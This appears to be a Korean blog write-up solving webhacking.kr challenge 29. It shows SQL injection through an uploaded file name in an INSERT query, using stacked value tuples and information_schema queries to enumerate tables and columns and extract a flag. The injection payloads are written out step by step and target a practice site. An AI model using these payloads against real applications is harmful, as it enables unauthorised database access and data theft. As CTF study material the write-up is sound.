[webhacking.kr] 29번 문제 풀이[SQL injection]

1 분 소요

💡 Webhacking.kr challenge(old) 29번 문제에 대한 풀이입니다.

문제

image

파일을 업로드 하여 다른 테이블에 있는 flag를 읽어오는 문제입니다.

파일을 업로드를 하면 다음의 정보들이 저장되고 화면에 출력됩니다.

image

문제 풀이

화면에 표시되는 정보들을 봤을 때 DB에는 파일이 업로드된 시간, 나의 IP, 업로드된 파일명이 저장이 됩니다. 실제 해당 정보들이 DB에 들어갈 쿼리문을 보면 다음과 같이 구성되어 있을 것입니다.

  insert into chall29(time,ip,file) values (123,'내ip','파일명')

위의 정보들 중에서 파일명 부분은 조작이 가능하기 때문에 이를 이용해서 인젝션 공격을 시도할 수 있습니다.

이때 insert into chall29 문에서 (time,ip,file) 컬럼들의 순서를 모두 고려해서 인젝션을 수행해야 합니다. 가능한 경우의 수는 총 6가지로 다음과 같습니다.

  1. time,ip,file
  2. time,file,ip
  3. ip,time,file
  4. ip,file,time
  5. file,ip,time
  6. file,time,ip

만약 1번의 순서로 insert into 문이 작성되어 있다면 다음과 같이 injection을 시도할 수 있습니다.

파일 명 : test1'),(123,'내ip','test2

위의 파일명이 인젝션 되었을때 sql문은 다음과 같습니다.

  insert into chall29(time,ip,file) values (123,'내ip','test1'),(123,'내ip','test2')

위의 케이스를 시도해 봤을때, 공격이 성공한 것은 6번 케이스 였으며 다음과 같은 파일명으로 업로드 하였을때 한번에 test1파일과, test2파일이 업로드 되었습니다.

  test1',123,'58.122.121.25'),('test2

image

이제 test2 대신에 원하는 정보를 뽑아 올 수 있는 쿼리를 작성하여 데이터를 읽어올 수 있습니다.

다른 테이블에 있는 데이터를 읽어와야 하므로, 다음의 과정을 통해서 데이터를 찾아야 합니다.

  • DB 명 알아내기 -> database() 이용
  • table명 알아내기 -> information_schema.tables이용
  • column명 알아내기 -> information_schema.columns이용
  • 데이터 알아내기 -> select [column_name] from [table_name] 이용

위의 순서대로 데이터를 뽑아냅니다. 데이터를 뽑아내기 위해 사용한 파일 명들은 다음과 같으며 업로드시 다음과 같이 차례대로 데이터를 뽑을 수 있습니다.

  • DB 이름

    파일명 : 1',1,'1'),(database(),1,'58.122.121.25')# image

  • table 이름

    주의
    해당 DB에 테이블이 여러개 있으므로 limit 을 이용해서 하나씩 테이블 명을 뽑아봐야 합니다.

    파일명 : 1',1,'1'),((select table_name from information_schema.tables where table_schema='chall29' limit 0,1),1,'58.122.121.25')#
    image

    파일명 : 1',1,'1'),((select table_name from information_schema.tables where table_schema='chall29' limit 1,1),1,'58.122.121.25')#
    image

  • column 이름

    주의
    컬럼 명도 하나의 테이블에 여러개의 컬럼이 있을 가능성이 있으므로, limit 을 이용해서 하나씩 뽑아와야 합니다.

    파일명 : 1',1,'1'),((select column_name from information_schema.columns where table_name='flag_congratz' limit 0,1),1,'58.122.121.25')#
    image

  • 데이터

    파일명 : 1',1,'1'),((select flag from flag_congratz limit 0,1),1,'58.122.121.25')# image

결과

위의 방법대로 순서대로 풀었다면 다음과 같이 플래그를 구할 수 있습니다.

image

댓글남기기